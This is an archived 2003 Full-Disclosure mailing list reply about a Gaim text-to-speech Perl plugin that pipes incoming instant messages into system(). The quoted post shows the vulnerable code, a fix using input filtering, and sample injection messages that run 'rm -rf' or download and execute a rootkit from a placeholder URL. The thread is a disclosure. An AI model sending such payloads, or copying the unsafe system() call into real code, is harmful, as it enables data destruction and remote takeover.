full-disclosure - Re: Gaim festival plugin exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <1066439106.3150.6.camel@skillz>
From: security at humancentrictech.com (HCTITS Security Division)
Subject: Re: Gaim festival plugin exploit

DUH... would help if I attached my attachment.


I am right proud of myself for this, and it also needs mention to
address the security issue that our friend Error (is that a reference to
Zelda 2?) raised.

Attached, find the latest reissue of the Gaim festival plugin.  The guy
that wrote it, wrote it for pre-0.68 Perl API, but it was secure against
the sort of attack that Error described.  I have since taken it and
recoded it to work with post-0.68 versions of Gaim.  It is attached.  By
all means, if you see an exploitable bug in there, let me know!  I'm
just a perl-tot..

Cheers,
~Brian

On Wed, 2003-10-15 at 11:29, error wrote:
> It has come to my attention that people have actually used this example
> code for a gaim plugin:
> 
> AIM::register("Festival TTS", "0.0.1", "goodbye", "");
> AIM::print("Perl Says", "Loaded Festival TTS");
> AIM::command("idle", "60000") if ($pro ne "Offline");
> AIM::add_event_handler("event_im_recv", "synthesize");
> 
> sub goodbye {
> 	AIM::print("Module Unloaded", "Unloaded Festival TTS");
> }
> 
> sub synthesize {
>     my $string = $_[0];
>     $string =~ s/\<.*?\>//g;
>     $string =~ s/\".*\"//;
>     system("echo \"$string\" | /usr/bin/festival --tts");
> }
> 
> As taken from:
> http://www.webreference.com/perl/tutorial/13/aim_fest_plugin.pl
> 
> This has to be one of the most amusing ways to gain a local users
> privileges I have ever seen by an "Expert (TM)"
> 
> Exploit code?
> You have a shell through gaim with that.
> 
> Just pass it this message (or really any message for that matter):
> 
> Hey, I just wanted to exploit your box, do you mind?"; rm -rf;
> 
> Or perhaps:
> 
> Hey, grab this root kit for me?";wget http://url/to/rootkit;chmod +x
> rootkit;./rootkit
> 
> Perhaps someone should ask:
> 
> "(Is s/[^\w]//g really that hard to do?!)"
> 
> So a fixed version would look like this:
> 
> AIM::register("Festival TTS", "0.0.1", "goodbye", "");
> AIM::print("Perl Says", "Loaded Festival TTS");
> AIM::command("idle", "60000") if ($pro ne "Offline");
> AIM::add_event_handler("event_im_recv", "synthesize");
> 
> sub goodbye {
> 	AIM::print("Module Unloaded", "Unloaded Festival TTS");
> }
> 
> sub synthesize {
>     my $string = $_[0];
>     $string =~ s/\<.*?\>//g;
>     $string =~ s/\".*\"//;
>     $string =~ s/[^\w]//g;
>     system("echo \"$string\" | /usr/bin/festival --tts");
> }
> 
> Just a minor comment, nothing special.
-- 
HCTITS Security Division <security@...ancentrictech.com>
HumanCentric Technologies
-------------- next part --------------
A non-text attachment was scrubbed...
Name: gabfest.pl
Type: text/x-perl
Size: 2272 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031017/97de4722/gabfest.bin